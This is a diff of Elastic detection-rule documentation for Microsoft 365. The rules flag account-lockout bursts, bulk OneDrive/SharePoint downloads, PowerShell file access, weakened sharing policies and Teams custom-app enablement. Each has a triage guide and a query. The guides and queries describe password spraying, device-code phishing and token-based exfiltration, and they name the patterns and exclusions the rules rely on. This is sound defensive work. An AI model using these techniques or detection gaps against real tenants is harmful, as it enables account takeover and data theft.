event.category:authentication + and o365.audit.ErrorNumber:( + 20001 or 20012 or 20033 or 40008 or 40009 or 40015 or + 50006 or 50008 or 50012 or 50013 or 50027 or 50048 or + 50099 or 50132 or 75005 or 75008 or 75011 or 75016 or + 81004 or 81009 or 81010 or 399284 or 500212 or 500213 or + 700005 or 5000819 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Forge Web Credentials +** ID: T1606 +** Reference URL: https://attack.mitre.org/techniques/T1606/ +* Sub-technique: +** Name: SAML Tokens +** ID: T1606.002 +** Reference URL: https://attack.mitre.org/techniques/T1606/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-user-account-lockouts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-user-account-lockouts.asciidoc new file mode 100644 index 0000000000..0705cb3691 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-identity-user-account-lockouts.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-m365-identity-user-account-lockouts]] +=== M365 Identity User Account Lockouts + +Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Identity User Account Lockouts* + + +Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. + +This rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be performed to the original sign-in and Graph events for further context. + + +*Investigation Steps* + + +- Review the `user_id_list`: Are specific naming patterns targeted (e.g., admin, helpdesk)? +- Examine `ip_list` and `source_orgs`: Look for suspicious ISPs or hosting providers. +- Check `duration_seconds`: A very short window with a high lockout rate often indicates automation. +- Confirm lockout policy thresholds with IAM or Entra ID admins. Did the policy trigger correctly? +- Use the `first_seen` and `last_seen` values to pivot into related authentication or audit logs. +- Correlate with any recent detection of password spraying or credential stuffing activity. +- Review the `request_type` field to identify which authentication methods were used (e.g., OAuth, SAML, etc.). +- Check for any successful logins from the same IP or ASN after the lockouts. + + +*False Positive Analysis* + + +- Automated systems with stale credentials may cause repeated failed logins. +- Legitimate bulk provisioning or scripted tests could unintentionally cause account lockouts. +- Red team exercises or penetration tests may resemble the same lockout pattern. +- Some organizations may have a high volume of lockouts due to user behavior or legacy systems. + + +*Response Recommendations* + + +- Notify affected users and confirm whether activity was expected or suspicious. +- Lock or reset credentials for impacted accounts. +- Block the source IP(s) or ASN temporarily using conditional access or firewall rules. +- Strengthen lockout and retry delay policies if necessary. +- Review the originating application(s) involved via `request_types`. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* +| mv_expand event.category +| eval + Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp) +| where + event.dataset == "o365.audit" and + event.category == "authentication" and + event.provider in ("AzureActiveDirectory", "Exchange") and + event.action in ("UserLoginFailed", "PasswordLogonInitialAuthUsingPassword") and + to_lower(o365.audit.ExtendedProperties.RequestType) rlike "(oauth.*||.*login.*)" and + o365.audit.LogonError == "IdsLocked" and + to_lower(o365.audit.UserId) != "not available" and + o365.audit.Target.Type in ("0", "2", "6", "10") and + source.`as`.organization.name != "MICROSOFT-CORP-MSN-as-BLOCK" +| stats + Esql_priv.o365_audit_UserId_count_distinct = count_distinct(to_lower(o365.audit.UserId)), + Esql_priv.o365_audit_UserId_values = values(to_lower(o365.audit.UserId)), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.o365_audit_ExtendedProperties_RequestType_values = values(to_lower(o365.audit.ExtendedProperties.RequestType)), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count(*) + by Esql.time_window_date_trunc +| eval + Esql.event_duration_seconds = date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen) +| keep + Esql.time_window_date_trunc, + Esql_priv.o365_audit_UserId_count_distinct, + Esql_priv.o365_audit_UserId_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_as_organization_name_count_distinct, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.o365_audit_ExtendedProperties_RequestType_values, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.event_count, + Esql.event_duration_seconds +| where + Esql_priv.o365_audit_UserId_count_distinct >= 10 and + Esql.event_count >= 10 and + Esql.event_duration_seconds <= 300 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc new file mode 100644 index 0000000000..678bf3b60f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-m365-onedrive-sharepoint-excessive-file-downloads]] +=== M365 OneDrive/SharePoint Excessive File Downloads + +Identifies when an excessive number of files are downloaded from OneDrive or SharePoint by an authorized user or application in a short period of time. This may indicate a potential data exfiltration event, especially if the downloads are performed using OAuth authentication which could suggest an OAuth phishing attack such as Device Code Authentication phishing. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Storage +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: SharePoint +* Data Source: OneDrive +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 OneDrive/SharePoint Excessive File Downloads* + + +This rule detects an excessive number of files downloaded from OneDrive using OAuth authentication. Threat actors may use OAuth phishing attacks, such as **Device Code Authentication phishing**, to obtain valid access tokens and perform unauthorized data exfiltration. This method allows adversaries to bypass traditional authentication mechanisms, making it a stealthy and effective technique. + +This rule leverages ESQL aggregations which limit the field values available in the alert document. To investigate further, it is recommended to identify the original documents ingested. + + +*Possible Investigation Steps* + + +- Review the user ID field to identify the user who performed the downloads. Check if this user typically downloads large amounts of data from OneDrive. +- Correlate user ID with Entra Sign-In logs to verify the authentication method used and determine if it was expected for this user. +- Review the authentication method used. If OAuth authentication was used, investigate whether it was expected for this user. +- Identify the client application used for authentication. Determine if it is a legitimate enterprise-approved app or an unauthorized third-party application. +- Check the number of unique files downloaded. If a user downloads a high volume of unique files in a short period, it may indicate data exfiltration. +- Analyze the file types and directories accessed to determine if sensitive or confidential data was involved. +- Investigate the source IP address and geolocation of the download activity. If it originates from an unusual or anonymized location, further scrutiny is needed. +- Review other recent activities from the same user, such as file access, sharing, or permission changes, that may indicate further compromise. +- Check for signs of session persistence using OAuth. If Azure sign-in logs are correlated where `authentication_protocol` or `originalTransferMethod` field shows `deviceCode`, the session was established through device code authentication. +- Look for multiple authentication attempts from different devices or locations within a short timeframe, which could indicate unauthorized access. +- Investigate if other OAuth-related anomalies exist, such as consent grants for unfamiliar applications or unexpected refresh token activity. +- Review the `file.directory` value from the original documents to identify the specific folders or paths where the files were downloaded. +- Examine if the downloaded files are from Sharepoint or OneDrive by checking the `event.code` field. +- Review the incoming token type to determine how authentication occurred. If the `token.id` field is populated, it indicates that OAuth authentication was used, which may suggest an OAuth phishing attack. + + +*False Positive Analysis* + + +- Verify if the user regularly downloads large batches of files as part of their job function. +- Determine if the downloads were triggered by an authorized automated process, such as a data backup or synchronization tool. +- Confirm if the detected OAuth application is approved for enterprise use and aligns with expected usage patterns. + + +*Response and Remediation* + + +- If unauthorized activity is confirmed, revoke the OAuth token used and terminate active OneDrive sessions. +- Reset the affected user's password and require reauthentication to prevent continued unauthorized access. +- Restrict OAuth app permissions and enforce conditional access policies to limit authentication to trusted devices and applications. +- Monitor for additional signs of compromise, such as unusual email forwarding rules, external sharing of OneDrive files, or privilege escalation attempts. +- Educate users on OAuth phishing risks and encourage the use of **Microsoft Defender for Office 365 Safe Links** to mitigate credential-based attacks. +- Enable continuous monitoring for OAuth authentication anomalies using **Microsoft Entra ID sign-in logs** and security tools. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* metadata _id, _version, _index +| where + event.dataset == "o365.audit" and + event.provider == "OneDrive" and + event.action == "FileDownloaded" and + event.outcome == "success" + and (user.id is not null and o365.audit.ApplicationId is not null) + and o365.audit.ApplicationId not in ( + "08e18876-6177-487e-b8b5-cf950c1e598c", // SharePoint Online Web Client Extensibility + "fb8d773d-7ef8-4ec0-a117-179f88add510", // Enterprise Copilot Platform + "d3590ed6-52b3-4102-aeff-aad2292ab01c", // Microsoft Office + "7ab7862c-4c57-491e-8a45-d52a7e023983" // App Service + ) +| eval session.id = coalesce(o365.audit.AppAccessContext.AADSessionId, session.id, null) +| where session.id is not null +| eval Esql.time_window_date_trunc = date_trunc(3 minutes, @timestamp) +| stats + Esql.file_directory_values = values(file.directory), + Esql.file_extension_values = values(file.extension), + Esql.application_name_values = values(application.name), + Esql.file_name_count_distinct = count_distinct(file.name), + Esql.total_file_size_mb = round((mv_sum(values(file.size))) / 1048576.0, 2), + Esql.o365_audit_Site_values = values(o365.audit.Site), + Esql.o365_audit_SiteUrl_values = values(o365.audit.SiteUrl), + Esql.user_domain_values = values(user.domain), + Esql.token_id_values = values(token.id), + Esql.event_code_values = values(event.code), + Esql.event_provider_values = values(event.provider), + Esql.auth_type_values = values(o365.audit.AuthenticationType), + Esql.is_managed_device_values = values(o365.audit.IsManagedDevice), + Esql.platform_values = values(o365.audit.Platform), + Esql.user_agent_values = values(user_agent.name), + Esql.source_asn_org_values = values(source.as.organization.name), + Esql.geo_country_values = values(source.geo.country_name), + Esql.event_count = count(*) + by + Esql.time_window_date_trunc, + user.id, + session.id, + source.ip, + o365.audit.ApplicationId +| where Esql.file_name_count_distinct >= 25 +| keep + Esql.*, + user.id, + source.ip, + o365.audit.ApplicationId, + session.id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc new file mode 100644 index 0000000000..123e79328c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-m365-sharepoint-onedrive-file-access-via-powershell]] +=== M365 SharePoint/OneDrive File Access via PowerShell + +Identifies file downloads or access from OneDrive or SharePoint using PowerShell-based user agents. Adversaries may use native PowerShell cmdlets like Invoke-WebRequest or Invoke-RestMethod with Microsoft Graph API to exfiltrate data after compromising OAuth tokens via device code phishing or other credential theft techniques. This rule detects both direct PowerShell access and PnP PowerShell module usage for file operations. FileAccessed events are included to detect adversaries reading file content via API and saving locally, bypassing traditional download methods. Normal users access SharePoint/OneDrive via browsers or sync clients, making PowerShell-based file access inherently suspicious. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft +* https://pnp.github.io/powershell/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint/OneDrive File Access via PowerShell* + + +This rule detects file downloads and access from OneDrive or SharePoint using PowerShell-based user agents. Threat actors commonly use device code phishing to obtain OAuth tokens, then use native PowerShell or PnP PowerShell modules to enumerate and exfiltrate files from SharePoint and OneDrive. FileAccessed events are included because adversaries may read file content via the Graph API `/content` endpoint and save locally, bypassing traditional download events. + + +*Possible Investigation Steps* + + +- Identify the user whose token was used and determine if they typically use PowerShell for file operations. +- Review the OAuth application/client ID used to authenticate. Look for public client IDs that may indicate device code phishing. +- Check the source IP address and compare with the user's typical access locations. +- Identify which SharePoint site or OneDrive was accessed. +- Correlate with Azure AD sign-in logs to determine if device code authentication was used. +- Look for rapid sequential file downloads from the same session, which may indicate bulk data exfiltration. +- Check for search activity from the same user/session that may indicate reconnaissance before download. + + +*False Positive Analysis* + + +- IT administrators legitimately using PnP PowerShell for site management, migration, or backup operations. +- Automated scripts using PowerShell for legitimate data processing or synchronization tasks. +- Consider creating exceptions for known automation service accounts. + + +*Response and Remediation* + + +- If unauthorized activity is confirmed, immediately revoke the OAuth token and terminate active sessions for the affected user. +- Reset the user's credentials and require reauthentication with MFA. +- Review all files accessed during the session to assess data exposure. +- Implement conditional access policies to restrict device code authentication flow. +- Consider blocking public client IDs that are not needed for business operations. +- Review and audit OAuth application permissions in your tenant. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "o365.audit" and + event.provider: ("SharePoint" or "OneDrive") and + event.action: ("FileDownloaded" or "FileAccessed") and + event.outcome: "success" and + user_agent.original: (*PowerShell* or *PnPPS* or *PnPCoreSDK* or *SharePointPnP*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-sharepoint-site-sharing-policy-weakened.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-sharepoint-site-sharing-policy-weakened.asciidoc new file mode 100644 index 0000000000..4676c6784f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-sharepoint-site-sharing-policy-weakened.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-m365-sharepoint-site-sharing-policy-weakened]] +=== M365 SharePoint Site Sharing Policy Weakened + +Identifies when a SharePoint or OneDrive site sharing policy is changed to weaken security controls. The SharingPolicyChanged event fires for many routine policy modifications, but this rule targets specific high-risk transitions where sharing restrictions are relaxed. This includes enabling guest sharing, enabling anonymous link sharing, making a site public, or enabling guest user access. Adversaries who compromise administrative accounts may weaken sharing policies to exfiltrate data to external accounts or create persistent external access paths. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/purview/audit-log-activities#site-administration-activities +* https://learn.microsoft.com/en-us/purview/audit-log-sharing +* https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint Site Sharing Policy Weakened* + + +This rule detects when SharePoint or OneDrive sharing policies are modified to weaken security controls. The `SharingPolicyChanged` event captures modifications to site-level sharing settings stored in `ModifiedProperties`, where the setting name is a dynamic field key and `OldValue`/`NewValue` track the transition. This rule targets specific transitions that represent a security posture degradation. Note that Microsoft uses inconsistent keyword value formats across settings, some use `True`/`False` while others use `Enabled`/`Disabled`. + + +*Possible Investigation Steps* + + +- Identify the user who performed the change via `user.id` and determine if they have a legitimate administrative role. +- Check if the acting user is a service principal (e.g., `ServiceOperator`, `app@sharepoint`) or a human account. Service principal changes may indicate automated processes or compromised application credentials. +- Review which specific setting was changed by examining the `o365.audit.ModifiedProperties.*` fields: + - ShareWithGuests: Guest/external sharing was enabled on the site. External users can now be invited to access content. + - ShareUsingAnonymousLinks: Anonymous "Anyone" link sharing was enabled. Content can now be shared via unauthenticated links. + - IsPublic: The site or group was changed from private to public visibility. + - AllowGuestUser: Guest user access was enabled for the site. + - AllowFederatedUsers: Federated (external organization) user access was enabled. + - AllowTeamsConsumer: Teams personal account (consumer) user access was enabled. +- Identify the affected site via `o365.audit.ObjectId` (the site URL) and assess the sensitivity of its content. +- Review Azure AD / Entra ID sign-in logs for the acting account to check for authentication anomalies (unusual location, device code flow, new device). +- Look for subsequent sharing activity on the same site — `SharingSet`, `AnonymousLinkCreated`, `SharingInvitationCreated`, or file download events shortly after the policy change. +- Determine if the change was part of a planned change request or occurred outside of normal change windows. + + +*False Positive Analysis* + + +- IT administrators enabling external sharing for legitimate collaboration needs. Correlate with change management tickets or Slack/Teams messages. +- Automated provisioning scripts that configure sharing settings during site creation. These typically use service principal accounts with predictable patterns. +- Microsoft service operations (`ServiceOperator`) may modify settings as part of tenant-level policy propagation. + + +*Response and Remediation* + + +- If the change is unauthorized, immediately revert the sharing policy to its previous restrictive state. +- Revoke sessions and reset credentials for the compromised account. +- Review what content was accessed or shared after the policy change using `FileAccessed`, `FileDownloaded`, and sharing audit events. +- Audit all sites for similar unauthorized sharing policy changes. +- Implement Conditional Access policies to restrict administrative actions to trusted networks and compliant devices. +- Enable Privileged Identity Management (PIM) for SharePoint administrator roles to enforce just-in-time access. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "o365.audit" and event.provider: ("SharePoint" or "OneDrive") and + event.action: "SharingPolicyChanged" and event.outcome: "success" and + ( + (o365.audit.ModifiedProperties.ShareWithGuests.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.ShareWithGuests.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.ShareUsingAnonymousLinks.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.ShareUsingAnonymousLinks.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.IsPublic.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.IsPublic.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowGuestUser.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowGuestUser.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowFederatedUsers.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowFederatedUsers.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowTeamsConsumer.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowTeamsConsumer.OldValue: (false or "Disabled")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-teams-custom-application-interaction-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-teams-custom-application-interaction-enabled.asciidoc new file mode 100644 index 0000000000..516ad5f766 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-teams-custom-application-interaction-enabled.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-20-m365-teams-custom-application-interaction-enabled]] +=== M365 Teams Custom Application Interaction Enabled + +Identifies when custom applications are allowed in Microsoft Teams. If an organization requires applications other than those available in the Teams app store, custom applications can be developed as packages and uploaded. An adversary may abuse this behavior to establish persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoftteams/platform/concepts/deploy-and-publish/apps-upload + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Teams Custom Application Interaction Enabled* + + +Microsoft Teams allows organizations to enhance functionality by integrating custom applications, which can be developed and uploaded beyond the standard app store offerings. While beneficial for tailored solutions, this capability can be exploited by adversaries to maintain unauthorized access. The detection rule monitors changes in tenant settings that permit custom app interactions, flagging successful modifications as potential persistence threats. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: TeamsTenantSettingChanged to identify when the change was made and by whom. +- Verify the identity of the user or account associated with the event to determine if the change was authorized or if the account may have been compromised. +- Check the o365.audit.Name field for "Allow sideloading and interaction of custom apps" to confirm that the alert corresponds to enabling custom app interactions. +- Investigate the o365.audit.NewValue field to ensure it is set to True, indicating that the setting was indeed changed to allow custom apps. +- Assess the event.outcome field to confirm the change was successful and not a failed attempt, which could indicate a different type of issue. +- Examine any recent custom applications uploaded to Microsoft Teams to ensure they are legitimate and not potentially malicious. +- Cross-reference with other security alerts or logs to identify any unusual activity around the time of the setting change that might suggest malicious intent. + + +*False positive analysis* + + +- Routine administrative changes to Microsoft Teams settings can trigger this rule. If a known and authorized administrator frequently updates tenant settings to allow custom apps, consider creating an exception for their user account to reduce noise. +- Organizations that regularly develop and deploy custom applications for internal use may see frequent alerts. In such cases, establish a process to document and approve these changes, and use this documentation to create exceptions for specific application deployment activities. +- Scheduled updates or maintenance activities that involve enabling custom app interactions might be misidentified as threats. Coordinate with IT teams to schedule these activities and temporarily adjust monitoring rules to prevent false positives during these periods. +- If a third-party service provider is authorized to manage Teams settings, their actions might trigger alerts. Verify their activities and, if consistent and legitimate, add their actions to an exception list to prevent unnecessary alerts. +- Changes made during a known testing or development phase can be mistaken for unauthorized access. Clearly define and communicate these phases to the security team, and consider temporary rule adjustments to accommodate expected changes. + + +*Response and remediation* + + +- Immediately disable the custom application interaction setting in Microsoft Teams to prevent further unauthorized access or persistence by adversaries. +- Conduct a thorough review of all custom applications currently uploaded to Microsoft Teams to identify any unauthorized or suspicious applications. Remove any that are not recognized or approved by the organization. +- Analyze the audit logs for any recent changes to the Teams settings and identify the user account responsible for enabling custom application interactions. Investigate the account for signs of compromise or misuse. +- Reset the credentials and enforce multi-factor authentication for the account(s) involved in the unauthorized change to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident and the actions taken. Escalate to higher management if the breach is suspected to have wider implications. +- Implement additional monitoring and alerting for changes to Microsoft Teams settings to quickly detect and respond to similar threats in the future. +- Review and update the organization's security policies and procedures regarding the use of custom applications in Microsoft Teams to ensure they align with best practices and mitigate the risk of similar incidents. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:MicrosoftTeams and +event.category:web and event.action:TeamsTenantSettingChanged and +o365.audit.Name:"Allow sideloading and interaction of custom apps" and +o365.audit.NewValue:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git 